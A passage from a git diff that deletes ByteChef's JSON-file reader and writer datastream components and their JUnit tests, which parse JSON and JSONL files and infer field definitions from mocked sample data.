-import com.bytechef.component.definition.FileEntry;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.definition.datastream.ExecutionContext;
-import com.bytechef.component.definition.datastream.FieldDefinition;
-import com.bytechef.component.definition.datastream.ItemReader;
-import com.bytechef.component.json.file.constant.FileType;
-import java.io.BufferedReader;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.InputStreamReader;
-import java.nio.charset.StandardCharsets;
-import java.util.ArrayList;
-import java.util.Iterator;
-import java.util.List;
-import java.util.Map;
-import java.util.stream.Collectors;
-import java.util.stream.Stream;
-
-/**
- * @author Ivica Cardic
- */
-public class JsonFileItemReader implements ItemReader {
-
-    public static final ModifiableClusterElementDefinition<JsonFileItemReader> CLUSTER_ELEMENT_DEFINITION =
-        ComponentDsl.<JsonFileItemReader>clusterElement("reader")
-            .title("Read JSON file row")
-            .description("Reads a single row from a JSON file.")
-            .type(SOURCE)
-            .object(JsonFileItemReader.class)
-            .properties(
-                string(FILE_TYPE)
-                    .label("File Type")
-                    .description("The file type to choose.")
-                    .options(
-                        option("JSON", FileType.JSON.name()),
-                        option("JSON Line", FileType.JSONL.name()))
-                    .defaultValue(FileType.JSON.name())
-                    .required(true),
-                fileEntry(FILE_ENTRY)
-                    .label("File Entry")
-                    .description("The object property which contains a reference to the JSON file to read from.")
-                    .required(true),
-                string(PATH)
-                    .label("Path")
-                    .description("The path where the array is e.g 'data'. Leave blank to use the top level object.")
-                    .required(false));
-
-    private BufferedReader bufferedReader;
-    private FileType fileType;
-    private InputStream inputStream;
-    private Iterator<Object> iterator;
-
-    @Override
-    public void close() {
-        if (bufferedReader != null) {
-            try {
-                bufferedReader.close();
-            } catch (Exception exception) {
-                throw new RuntimeException(exception);
-            }
-        }
-
-        if (inputStream != null) {
-            try {
-                inputStream.close();
-            } catch (Exception exception) {
-                throw new RuntimeException(exception);
-            }
-        }
-    }
-
-    @Override
-    @SuppressWarnings("unchecked")
-    public void open(
-        Parameters inputParameters, Parameters connectionParameters, Context context,
-        ExecutionContext executionContext) {
-
-        this.fileType = getFileType(inputParameters);
-
-        FileEntry fileEntry = inputParameters.getRequiredFileEntry(FILE_ENTRY);
-
-        this.inputStream = context.file(file -> file.getInputStream(fileEntry));
-
-        if (fileType == FileType.JSONL) {
-            this.bufferedReader = new BufferedReader(new InputStreamReader(inputStream, StandardCharsets.UTF_8));
-
-            List<Object> jsonlItems = bufferedReader
-                .lines()
-                .map(line -> context.json(json -> json.read(line)))
-                .collect(Collectors.toCollection(ArrayList::new));
-
-            this.iterator = jsonlItems.iterator();
-        } else {
-            String path = inputParameters.getString(PATH);
-            List<Object> items;
-
-            if (path == null || path.isEmpty()) {
-                try (Stream<Map<String, ?>> stream = context.json(json -> json.stream(inputStream))) {
-                    items = stream.collect(Collectors.toCollection(ArrayList::new));
-                }
-            } else {
-                items = (List<Object>) context.json(json -> json.read(inputStream, path));
-            }
-
-            this.iterator = items.iterator();
-        }
-    }
-
-    @Override
-    @SuppressWarnings("unchecked")
-    public Map<String, Object> read() {
-        if (iterator.hasNext()) {
-            return (Map<String, Object>) iterator.next();
-        }
-
-        return null;
-    }
-
-    @Override
-    @SuppressWarnings("unchecked")
-    public List<FieldDefinition> getFields(
-        Parameters inputParameters, Parameters connectionParameters, ClusterElementContext context) {
-
-        FileType fileType = getFileType(inputParameters);
-        FileEntry fileEntry = inputParameters.getRequiredFileEntry(FILE_ENTRY);
-        Map<String, Object> firstItem = null;
-
-        try (InputStream inputStream = context.file(file -> file.getInputStream(fileEntry))) {
-            if (fileType == FileType.JSONL) {
-                try (BufferedReader reader = new BufferedReader(
-                    new InputStreamReader(inputStream, StandardCharsets.UTF_8))) {
-
-                    String firstLine = reader.readLine();
-
-                    if (firstLine != null && !firstLine.isEmpty()) {
-                        firstItem = (Map<String, Object>) context.json(json -> json.read(firstLine));
-                    }
-                }
-            } else {
-                String path = inputParameters.getString(PATH);
-
-                if (path == null || path.isEmpty()) {
-                    try (Stream<Map<String, ?>> stream = context.json(json -> json.stream(inputStream))) {
-                        firstItem = (Map<String, Object>) stream.findFirst()
-                            .orElse(null);
-                    }
-                } else {
-                    List<Map<String, ?>> items =
-                        (List<Map<String, ?>>) context.json(json -> json.read(inputStream, path));
-
-                    if (items != null && !items.isEmpty()) {
-                        firstItem = (Map<String, Object>) items.getFirst();
-                    }
-                }
-            }
-        } catch (IOException exception) {
-            throw new RuntimeException("Failed to read JSON file for field discovery", exception);
-        }
-
-        if (firstItem == null) {
-            return List.of();
-        }
-
-        Map<String, Object> itemToFlatten = firstItem;
-
-        Map<String, Object> flattenedItem = context.nested(nested -> nested.flatten(itemToFlatten));
-
-        return flattenedItem.entrySet()
-            .stream()
-            .map(entry -> {
-                Object value = entry.getValue();
-
-                return new FieldDefinition(
-                    entry.getKey(), entry.getKey(), value != null ? value.getClass() : String.class);
-            })
-            .toList();
-    }
-
-    private FileType getFileType(Parameters inputParameters) {
-        String fileType = inputParameters.getString(FILE_TYPE, FileType.JSON.name());
-
-        return FileType.valueOf(fileType.toUpperCase());
-    }
-}
diff --git a/server/libs/modules/components/json-file/src/main/java/com/bytechef/component/json/file/datastream/JsonFileItemWriter.java b/server/libs/modules/components/json-file/src/main/java/com/bytechef/component/json/file/datastream/JsonFileItemWriter.java
deleted file mode 100644
index e9d02525de0..00000000000
--- a/server/libs/modules/components/json-file/src/main/java/com/bytechef/component/json/file/datastream/JsonFileItemWriter.java
+++ /dev/null
@@ -1,233 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.json.file.datastream;
-
-import static com.bytechef.component.definition.ComponentDsl.fileEntry;
-import static com.bytechef.component.definition.ComponentDsl.option;
-import static com.bytechef.component.definition.ComponentDsl.string;
-import static com.bytechef.component.json.file.constant.JsonFileConstants.FILE_ENTRY;
-import static com.bytechef.component.json.file.constant.JsonFileConstants.FILE_TYPE;
-import static com.bytechef.component.json.file.constant.JsonFileConstants.PATH;
-
-import com.bytechef.component.definition.ClusterElementContext;
-import com.bytechef.component.definition.ComponentDsl;
-import com.bytechef.component.definition.ComponentDsl.ModifiableClusterElementDefinition;
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.definition.FileEntry;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.definition.datastream.ExecutionContext;
-import com.bytechef.component.definition.datastream.FieldDefinition;
-import com.bytechef.component.definition.datastream.ItemWriter;
-import com.bytechef.component.json.file.constant.FileType;
-import java.io.BufferedReader;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.InputStreamReader;
-import java.io.OutputStream;
-import java.io.PrintWriter;
-import java.nio.charset.StandardCharsets;
-import java.util.List;
-import java.util.Map;
-import java.util.stream.Stream;
-
-/**
- * @author Ivica Cardic
- */
-public class JsonFileItemWriter implements ItemWriter {
-
-    public static final ModifiableClusterElementDefinition<JsonFileItemWriter> CLUSTER_ELEMENT_DEFINITION =
-        ComponentDsl.<JsonFileItemWriter>clusterElement("writer")
-            .title("Write JSON file rows")
-            .description("Writes a list of rows to a JSON file.")
-            .type(DESTINATION)
-            .object(JsonFileItemWriter.class)
-            .properties(
-                string(FILE_TYPE)
-                    .label("File Type")
-                    .description("The file type to choose.")
-                    .options(
-                        option("JSON", FileType.JSON.name()),
-                        option("JSON Line", FileType.JSONL.name()))
-                    .defaultValue(FileType.JSON.name())
-                    .required(true),
-                fileEntry(FILE_ENTRY)
-                    .label("File Entry")
-                    .description("The object property which contains a reference to the JSON file to write to.")
-                    .required(true),
-                string(PATH)
-                    .label("Path")
-                    .description(
-                        "The path where the array should be placed e.g 'data'. Leave blank to use the top level.")
-                    .required(false));
-
-    private Context context;
-    private FileType fileType;
-    private boolean firstItemWritten;
-    private OutputStream outputStream;
-    private String path;
-    private PrintWriter printWriter;
-
-    @Override
-    @SuppressWarnings("PMD.EmptyCatchBlock")
-    public void close() {
-        if (printWriter != null) {
-            if (fileType == FileType.JSON) {
-                if (path != null && !path.isEmpty()) {
-                    printWriter.print("]}");
-                } else {
-                    printWriter.print("]");
-                }
-            }
-
-            printWriter.flush();
-
-            try {
-                printWriter.close();
-            } catch (Exception exception) {
-                // Ignore
-            }
-        }
-
-        if (outputStream != null) {
-            try {
-                outputStream.close();
-            } catch (Exception exception) {
-                // Ignore
-            }
-        }
-    }
-
-    @Override
-    public void open(
-        Parameters inputParameters, Parameters connectionParameters, Context context,
-        ExecutionContext executionContext) {
-
-        this.context = context;
-        this.fileType = getFileType(inputParameters);
-        this.path = inputParameters.getString(PATH);
-
-        FileEntry fileEntry = inputParameters.getRequiredFileEntry(FILE_ENTRY);
-
-        this.outputStream = context.file(file -> file.getOutputStream(fileEntry));
-        this.printWriter = new PrintWriter(outputStream, false, StandardCharsets.UTF_8);
-        this.firstItemWritten = false;
-
-        if (fileType == FileType.JSON) {
-            if (path != null && !path.isEmpty()) {
-                printWriter.print("{\"" + path + "\":[");
-            } else {
-                printWriter.print("[");
-            }
-        }
-    }
-
-    @Override
-    public void write(List<? extends Map<String, Object>> items) {
-        if (items == null || items.isEmpty()) {
-            return;
-        }
-
-        for (Map<String, ?> item : items) {
-            String jsonItem = context.json(json -> json.write(item));
-
-            if (fileType == FileType.JSONL) {
-                printWriter.println(jsonItem);
-            } else {
-                if (firstItemWritten) {
-                    printWriter.print(",");
-                }
-
-                printWriter.print(jsonItem);
-
-                firstItemWritten = true;
-            }
-        }
-
-        printWriter.flush();
-    }
-
-    @Override
-    @SuppressWarnings("unchecked")
-    public List<FieldDefinition> getFields(
-        Parameters inputParameters, Parameters connectionParameters, ClusterElementContext context) {
-
-        FileEntry fileEntry = inputParameters.getRequiredFileEntry(FILE_ENTRY);
-
-        if (context.file(file -> file.getContentLength(fileEntry)) == 0) {
-            return List.of();
-        }
-
-        FileType fileType = getFileType(inputParameters);
-        Map<String, Object> firstItem = null;
-
-        try (InputStream inputStream = context.file(file -> file.getInputStream(fileEntry))) {
-            if (fileType == FileType.JSONL) {
-                try (BufferedReader reader = new BufferedReader(
-                    new InputStreamReader(inputStream, StandardCharsets.UTF_8))) {
-
-                    String firstLine = reader.readLine();
-
-                    if (firstLine != null && !firstLine.isEmpty()) {
-                        firstItem = (Map<String, Object>) context.json(json -> json.read(firstLine));
-                    }
-                }
-            } else {
-                String path = inputParameters.getString(PATH);
-
-                if (path == null || path.isEmpty()) {
-                    try (Stream<Map<String, ?>> stream = context.json(json -> json.stream(inputStream))) {
-                        firstItem = (Map<String, Object>) stream.findFirst()
-                            .orElse(null);
-                    }
-                } else {
-                    List<Map<String, ?>> items =
-                        (List<Map<String, ?>>) context.json(json -> json.read(inputStream, path));
-
-                    if (items != null && !items.isEmpty()) {
-                        firstItem = (Map<String, Object>) items.getFirst();
-                    }
-                }
-            }
-        } catch (IOException exception) {
-            throw new RuntimeException("Failed to read JSON file for field discovery", exception);
-        }
-
-        if (firstItem == null) {
-            return List.of();
-        }
-
-        Map<String, Object> itemToFlatten = firstItem;
-
-        Map<String, Object> flattenedItem = context.nested(nested -> nested.flatten(itemToFlatten));
-
-        return flattenedItem.entrySet()
-            .stream()
-            .map(entry -> {
-                Object value = entry.getValue();
-
-                return new FieldDefinition(
-                    entry.getKey(), entry.getKey(), value != null ? value.getClass() : String.class);
-            })
-            .toList();
-    }
-
-    private FileType getFileType(Parameters inputParameters) {
-        String fileType = inputParameters.getString(FILE_TYPE, FileType.JSON.name());
-
-        return FileType.valueOf(fileType.toUpperCase());
-    }
-}
diff --git a/server/libs/modules/components/json-file/src/test/java/com/bytechef/component/json/file/datastream/JsonFileItemReaderTest.java b/server/libs/modules/components/json-file/src/test/java/com/bytechef/component/json/file/datastream/JsonFileItemReaderTest.java
deleted file mode 100644
index 60e9bd3f938..00000000000
--- a/server/libs/modules/components/json-file/src/test/java/com/bytechef/component/json/file/datastream/JsonFileItemReaderTest.java
+++ /dev/null
@@ -1,300 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.json.file.datastream;
-
-import static com.bytechef.component.json.file.constant.JsonFileConstants.FILE_ENTRY;
-import static com.bytechef.component.json.file.constant.JsonFileConstants.FILE_TYPE;
-import static com.bytechef.component.json.file.constant.JsonFileConstants.PATH;
-import static org.assertj.core.api.Assertions.assertThat;
-import static org.mockito.ArgumentMatchers.any;
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.when;
-
-import com.bytechef.component.definition.ClusterElementContext;
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.definition.FileEntry;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.definition.datastream.FieldDefinition;
-import com.bytechef.component.json.file.constant.FileType;
-import java.io.ByteArrayInputStream;
-import java.io.InputStream;
-import java.nio.charset.StandardCharsets;
-import java.util.List;
-import java.util.Map;
-import java.util.stream.Stream;
-import org.junit.jupiter.api.BeforeEach;
-import org.junit.jupiter.api.Test;
-
-/**
- * @author Ivica Cardic
- */
-class JsonFileItemReaderTest {
-
-    private JsonFileItemReader jsonFileItemReader;
-    private Parameters inputParameters;
-    private Parameters connectionParameters;
-    private ClusterElementContext context;
-    private FileEntry mockFileEntry;
-
-    @BeforeEach
-    void setUp() {
-        jsonFileItemReader = new JsonFileItemReader();
-        inputParameters = mock(Parameters.class);
-        connectionParameters = mock(Parameters.class);
-        context = mock(ClusterElementContext.class);
-        mockFileEntry = mock(FileEntry.class);
-
-        when(inputParameters.getRequiredFileEntry(FILE_ENTRY)).thenReturn(mockFileEntry);
-    }
-
-    @Test
-    void testGetFieldsWithJsonArray() {
-        String jsonContent = "[{\"name\":\"John\",\"age\":30,\"email\":\"john@example.com\"}]";
-
-        setupMocks(jsonContent, FileType.JSON.name(), null);
-
-        List<FieldDefinition> fields = jsonFileItemReader.getFields(inputParameters, connectionParameters, context);
-
-        assertThat(fields).hasSize(3);
-        assertThat(fields.stream()
-            .map(FieldDefinition::name)
-            .toList())
-                .containsExactlyInAnyOrder("name", "age", "email");
-    }
-
-    @Test
-    void testGetFieldsWithJsonl() {
-        String jsonlContent =
-            "{\"id\":1,\"name\":\"Test\",\"active\":true}\n{\"id\":2,\"name\":\"Demo\",\"active\":false}";
-
-        setupMocks(jsonlContent, FileType.JSONL.name(), null);
-
-        List<FieldDefinition> fields = jsonFileItemReader.getFields(inputParameters, connectionParameters, context);
-
-        assertThat(fields).hasSize(3);
-        assertThat(fields.stream()
-            .map(FieldDefinition::name)
-            .toList())
-                .containsExactlyInAnyOrder("id", "name", "active");
-    }
-
-    @Test
-    void testGetFieldsWithNestedJson() {
-        String jsonContent = "[{\"user\":{\"name\":\"John\",\"email\":\"john@example.com\"},\"status\":\"active\"}]";
-
-        setupMocks(jsonContent, FileType.JSON.name(), null);
-
-        List<FieldDefinition> fields = jsonFileItemReader.getFields(inputParameters, connectionParameters, context);
-
-        assertThat(fields).hasSize(3);
-        assertThat(fields.stream()
-            .map(FieldDefinition::name)
-            .toList())
-                .containsExactlyInAnyOrder("user.name", "user.email", "status");
-    }
-
-    @Test
-    void testGetFieldsWithPath() {
-        String jsonContent = "{\"data\":[{\"id\":1,\"value\":\"test\"}]}";
-
-        setupMocks(jsonContent, FileType.JSON.name(), "data");
-
-        List<FieldDefinition> fields = jsonFileItemReader.getFields(inputParameters, connectionParameters, context);
-
-        assertThat(fields).hasSize(2);
-        assertThat(fields.stream()
-            .map(FieldDefinition::name)
-            .toList())
-                .containsExactlyInAnyOrder("id", "value");
-    }
-
-    @Test
-    void testGetFieldsWithEmptyJsonArray() {
-        String jsonContent = "[]";
-
-        setupMocks(jsonContent, FileType.JSON.name(), null);
-
-        List<FieldDefinition> fields = jsonFileItemReader.getFields(inputParameters, connectionParameters, context);
-
-        assertThat(fields).isEmpty();
-    }
-
-    @Test
-    void testGetFieldsWithEmptyJsonlFile() {
-        String jsonlContent = "";
-
-        setupMocks(jsonlContent, FileType.JSONL.name(), null);
-
-        List<FieldDefinition> fields = jsonFileItemReader.getFields(inputParameters, connectionParameters, context);
-
-        assertThat(fields).isEmpty();
-    }
-
-    @Test
-    void testGetFieldsInfersTypeFromValues() {
-        String jsonContent = "[{\"stringField\":\"text\",\"numberField\":42,\"booleanField\":true}]";
-
-        setupMocks(jsonContent, FileType.JSON.name(), null);
-
-        List<FieldDefinition> fields = jsonFileItemReader.getFields(inputParameters, connectionParameters, context);
-
-        assertThat(fields).hasSize(3);
-
-        FieldDefinition stringField = fields.stream()
-            .filter(field -> "stringField".equals(field.name()))
-            .findFirst()
-            .orElseThrow();
-        assertThat(stringField.type()).isEqualTo(String.class);
-
-        FieldDefinition numberField = fields.stream()
-            .filter(field -> "numberField".equals(field.name()))
-            .findFirst()
-            .orElseThrow();
-        assertThat(numberField.type()).isEqualTo(Integer.class);
-
-        FieldDefinition booleanField = fields.stream()
-            .filter(field -> "booleanField".equals(field.name()))
-            .findFirst()
-            .orElseThrow();
-        assertThat(booleanField.type()).isEqualTo(Boolean.class);
-    }
-
-    @Test
-    void testGetFieldsWithDeeplyNestedJson() {
-        String jsonContent = "[{\"level1\":{\"level2\":{\"level3\":\"value\"}}}]";
-
-        setupMocks(jsonContent, FileType.JSON.name(), null);
-
-        List<FieldDefinition> fields = jsonFileItemReader.getFields(inputParameters, connectionParameters, context);
-
-        assertThat(fields).hasSize(1);
-        assertThat(fields.getFirst()
-            .name()).isEqualTo("level1.level2.level3");
-    }
-
-    @SuppressWarnings("unchecked")
-    private void setupMocks(String jsonContent, String fileType, String path) {
-        when(inputParameters.getString(FILE_TYPE, FileType.JSON.name())).thenReturn(fileType);
-        when(inputParameters.getString(PATH)).thenReturn(path);
-
-        when(context.file(any())).thenAnswer(invocation -> {
-            Context.ContextFunction<Context.File, ?> function = invocation.getArgument(0);
-            Context.File mockFile = mock(Context.File.class);
-
-            when(mockFile.getInputStream(any(FileEntry.class)))
-                .thenReturn(new ByteArrayInputStream(jsonContent.getBytes(StandardCharsets.UTF_8)));
-
-            return function.apply(mockFile);
-        });
-
-        when(context.json(any())).thenAnswer(invocation -> {
-            Context.ContextFunction<Context.Json, ?> function = invocation.getArgument(0);
-            Context.Json mockJson = mock(Context.Json.class);
-
-            when(mockJson.read(any(String.class))).thenAnswer(readInvocation -> {
-                String content = readInvocation.getArgument(0);
-
-                return parseJson(content);
-            });
-
-            when(mockJson.read(any(InputStream.class), any(String.class))).thenAnswer(readInvocation -> {
-                String pathArg = readInvocation.getArgument(1);
-                Map<String, Object> parsed = (Map<String, Object>) parseJson(jsonContent);
-
-                return parsed.get(pathArg);
-            });
-
-            when(mockJson.stream(any(InputStream.class))).thenAnswer(streamInvocation -> {
-                List<Map<String, ?>> items = (List<Map<String, ?>>) parseJson(jsonContent);
-
-                return items != null ? items.stream() : Stream.empty();
-            });
-
-            return function.apply(mockJson);
-        });
-
-        when(context.nested(any())).thenAnswer(invocation -> {
-            Context.ContextFunction<ClusterElementContext.Nested, ?> function = invocation.getArgument(0);
-            ClusterElementContext.Nested mockNested = mock(ClusterElementContext.Nested.class);
-
-            when(mockNested.flatten(any())).thenAnswer(flattenInvocation -> {
-                Map<String, Object> map = flattenInvocation.getArgument(0);
-
-                return flattenMap(map);
-            });
-
-            return function.apply(mockNested);
-        });
-    }
-
-    private Map<String, Object> flattenMap(Map<String, Object> map) {
-        Map<String, Object> result = new java.util.HashMap<>();
-
-        flattenMapRecursive(map, "", result);
-
-        return result;
-    }
-
-    @SuppressWarnings("unchecked")
-    private void flattenMapRecursive(Map<String, Object> map, String prefix, Map<String, Object> result) {
-        for (Map.Entry<String, Object> entry : map.entrySet()) {
-            String key = prefix.isEmpty() ? entry.getKey() : prefix + "." + entry.getKey();
-            Object value = entry.getValue();
-
-            if (value instanceof Map) {
-                flattenMapRecursive((Map<String, Object>) value, key, result);
-            } else {
-                result.put(key, value);
-            }
-        }
-    }
-
-    @SuppressWarnings("unchecked")
-    private Object parseJson(String content) {
-        if (content == null || content.isEmpty()) {
-            return null;
-        }
-
-        content = content.trim();
-
-        if (content.startsWith("[")) {
-            return parseJsonArray(content);
-        } else if (content.startsWith("{")) {
-            return parseJsonObject(content);
-        }
-
-        return null;
-    }
-
-    private List<Map<String, Object>> parseJsonArray(String content) {
-        try {
-            return new com.fasterxml.jackson.databind.ObjectMapper().readValue(
-                content, new com.fasterxml.jackson.core.type.TypeReference<List<Map<String, Object>>>() {});
-        } catch (Exception exception) {
-            return List.of();
-        }
-    }
-
-    private Map<String, Object> parseJsonObject(String content) {
-        try {
-            return new com.fasterxml.jackson.databind.ObjectMapper().readValue(
-                content, new com.fasterxml.jackson.core.type.TypeReference<Map<String, Object>>() {});
-        } catch (Exception exception) {
-            return Map.of();
-        }
-    }
-}
diff --git a/server/libs/modules/components/json-file/src/test/java/com/bytechef/component/json/file/datastream/JsonFileItemWriterTest.java b/server/libs/modules/components/json-file/src/test/java/com/bytechef/component/json/file/datastream/JsonFileItemWriterTest.java
deleted file mode 100644
index ae19f7d6334..00000000000
--- a/server/libs/modules/components/json-file/src/test/java/com/bytechef/component/json/file/datastream/JsonFileItemWriterTest.java
+++ /dev/null
@@ -1,293 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.json.file.datastream;
-
-import static com.bytechef.component.json.file.constant.JsonFileConstants.FILE_ENTRY;
-import static com.bytechef.component.json.file.constant.JsonFileConstants.FILE_TYPE;
-import static com.bytechef.component.json.file.constant.JsonFileConstants.PATH;
-import static org.assertj.core.api.Assertions.assertThat;
-import static org.mockito.ArgumentMatchers.any;
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.when;
-
-import com.bytechef.component.definition.ClusterElementContext;
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.definition.FileEntry;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.definition.datastream.FieldDefinition;
-import com.bytechef.component.json.file.constant.FileType;
-import java.io.ByteArrayInputStream;
-import java.io.InputStream;
-import java.nio.charset.StandardCharsets;
-import java.util.List;
-import java.util.Map;
-import java.util.stream.Stream;
-import org.junit.jupiter.api.BeforeEach;
-import org.junit.jupiter.api.Test;
-
-/**
- * @author Ivica Cardic
- */
-class JsonFileItemWriterTest {
-
-    private JsonFileItemWriter jsonFileItemWriter;
-    private Parameters inputParameters;
-    private Parameters connectionParameters;
-    private ClusterElementContext context;
-    private FileEntry mockFileEntry;
-
-    @BeforeEach
-    void setUp() {
-        jsonFileItemWriter = new JsonFileItemWriter();
-        inputParameters = mock(Parameters.class);
-        connectionParameters = mock(Parameters.class);
-        context = mock(ClusterElementContext.class);
-        mockFileEntry = mock(FileEntry.class);
-
-        when(inputParameters.getRequiredFileEntry(FILE_ENTRY)).thenReturn(mockFileEntry);
-    }
-
-    @Test
-    void testGetFieldsFromExistingJsonFile() {
-        String jsonContent = "[{\"id\":1,\"name\":\"Test\",\"status\":\"active\"}]";
-
-        setupMocks(jsonContent, FileType.JSON.name(), null, jsonContent.length());
-
-        List<FieldDefinition> fields = jsonFileItemWriter.getFields(inputParameters, connectionParameters, context);
-
-        assertThat(fields).hasSize(3);
-        assertThat(fields.stream()
-            .map(FieldDefinition::name)
-            .toList())
-                .containsExactlyInAnyOrder("id", "name", "status");
-    }
-
-    @Test
-    void testGetFieldsFromEmptyFile() {
-        String jsonContent = "";
-
-        setupMocks(jsonContent, FileType.JSON.name(), null, 0);
-
-        List<FieldDefinition> fields = jsonFileItemWriter.getFields(inputParameters, connectionParameters, context);
-
-        assertThat(fields).isEmpty();
-    }
-
-    @Test
-    void testGetFieldsFromJsonlFile() {
-        String jsonlContent = "{\"field1\":\"value1\",\"field2\":100}\n{\"field1\":\"value2\",\"field2\":200}";
-
-        setupMocks(jsonlContent, FileType.JSONL.name(), null, jsonlContent.length());
-
-        List<FieldDefinition> fields = jsonFileItemWriter.getFields(inputParameters, connectionParameters, context);
-
-        assertThat(fields).hasSize(2);
-        assertThat(fields.stream()
-            .map(FieldDefinition::name)
-            .toList())
-                .containsExactlyInAnyOrder("field1", "field2");
-    }
-
-    @Test
-    void testGetFieldsFromNestedJsonFile() {
-        String jsonContent = "[{\"user\":{\"firstName\":\"John\",\"lastName\":\"Doe\"},\"active\":true}]";
-
-        setupMocks(jsonContent, FileType.JSON.name(), null, jsonContent.length());
-
-        List<FieldDefinition> fields = jsonFileItemWriter.getFields(inputParameters, connectionParameters, context);
-
-        assertThat(fields).hasSize(3);
-        assertThat(fields.stream()
-            .map(FieldDefinition::name)
-            .toList())
-                .containsExactlyInAnyOrder("user.firstName", "user.lastName", "active");
-    }
-
-    @Test
-    void testGetFieldsWithPath() {
-        String jsonContent = "{\"records\":[{\"col1\":\"a\",\"col2\":\"b\"}]}";
-
-        setupMocks(jsonContent, FileType.JSON.name(), "records", jsonContent.length());
-
-        List<FieldDefinition> fields = jsonFileItemWriter.getFields(inputParameters, connectionParameters, context);
-
-        assertThat(fields).hasSize(2);
-        assertThat(fields.stream()
-            .map(FieldDefinition::name)
-            .toList())
-                .containsExactlyInAnyOrder("col1", "col2");
-    }
-
-    @Test
-    void testGetFieldsInfersCorrectTypes() {
-        String jsonContent = "[{\"text\":\"hello\",\"number\":42,\"flag\":false,\"decimal\":3.14}]";
-
-        setupMocks(jsonContent, FileType.JSON.name(), null, jsonContent.length());
-
-        List<FieldDefinition> fields = jsonFileItemWriter.getFields(inputParameters, connectionParameters, context);
-
-        assertThat(fields).hasSize(4);
-
-        FieldDefinition textField = fields.stream()
-            .filter(field -> "text".equals(field.name()))
-            .findFirst()
-            .orElseThrow();
-        assertThat(textField.type()).isEqualTo(String.class);
-
-        FieldDefinition numberField = fields.stream()
-            .filter(field -> "number".equals(field.name()))
-            .findFirst()
-            .orElseThrow();
-        assertThat(numberField.type()).isEqualTo(Integer.class);
-
-        FieldDefinition flagField = fields.stream()
-            .filter(field -> "flag".equals(field.name()))
-            .findFirst()
-            .orElseThrow();
-        assertThat(flagField.type()).isEqualTo(Boolean.class);
-
-        FieldDefinition decimalField = fields.stream()
-            .filter(field -> "decimal".equals(field.name()))
-            .findFirst()
-            .orElseThrow();
-        assertThat(decimalField.type()).isEqualTo(Double.class);
-    }
-
-    @Test
-    void testGetFieldsFromEmptyJsonArray() {
-        String jsonContent = "[]";
-
-        setupMocks(jsonContent, FileType.JSON.name(), null, jsonContent.length());
-
-        List<FieldDefinition> fields = jsonFileItemWriter.getFields(inputParameters, connectionParameters, context);
-
-        assertThat(fields).isEmpty();
-    }
-
-    @SuppressWarnings("unchecked")
-    private void setupMocks(String jsonContent, String fileType, String path, long contentLength) {
-        when(inputParameters.getString(FILE_TYPE, FileType.JSON.name())).thenReturn(fileType);
-        when(inputParameters.getString(PATH)).thenReturn(path);
-
-        when(context.file(any())).thenAnswer(invocation -> {
-            Context.ContextFunction<Context.File, ?> function = invocation.getArgument(0);
-            Context.File mockFile = mock(Context.File.class);
-
-            when(mockFile.getInputStream(any(FileEntry.class)))
-                .thenReturn(new ByteArrayInputStream(jsonContent.getBytes(StandardCharsets.UTF_8)));
-            when(mockFile.getContentLength(any(FileEntry.class))).thenReturn(contentLength);
-
-            return function.apply(mockFile);
-        });
-
-        when(context.json(any())).thenAnswer(invocation -> {
-            Context.ContextFunction<Context.Json, ?> function = invocation.getArgument(0);
-            Context.Json mockJson = mock(Context.Json.class);
-
-            when(mockJson.read(any(String.class))).thenAnswer(readInvocation -> {
-                String content = readInvocation.getArgument(0);
-
-                return parseJson(content);
-            });
-
-            when(mockJson.read(any(InputStream.class), any(String.class))).thenAnswer(readInvocation -> {
-                String pathArg = readInvocation.getArgument(1);
-                Map<String, Object> parsed = (Map<String, Object>) parseJson(jsonContent);
-
-                return parsed.get(pathArg);
-            });
-
-            when(mockJson.stream(any(InputStream.class))).thenAnswer(streamInvocation -> {
-                List<Map<String, ?>> items = (List<Map<String, ?>>) parseJson(jsonContent);
-
-                return items != null ? items.stream() : Stream.empty();
-            });
-
-            return function.apply(mockJson);
-        });
-
-        when(context.nested(any())).thenAnswer(invocation -> {
-            Context.ContextFunction<ClusterElementContext.Nested, ?> function = invocation.getArgument(0);
-            ClusterElementContext.Nested mockNested = mock(ClusterElementContext.Nested.class);
-
-            when(mockNested.flatten(any())).thenAnswer(flattenInvocation -> {
-                Map<String, Object> map = flattenInvocation.getArgument(0);
-
-                return flattenMap(map);
-            });
-
-            return function.apply(mockNested);
-        });
-    }
-
-    private Map<String, Object> flattenMap(Map<String, Object> map) {
-        Map<String, Object> result = new java.util.HashMap<>();
-
-        flattenMapRecursive(map, "", result);
-
-        return result;
-    }
-
-    @SuppressWarnings("unchecked")
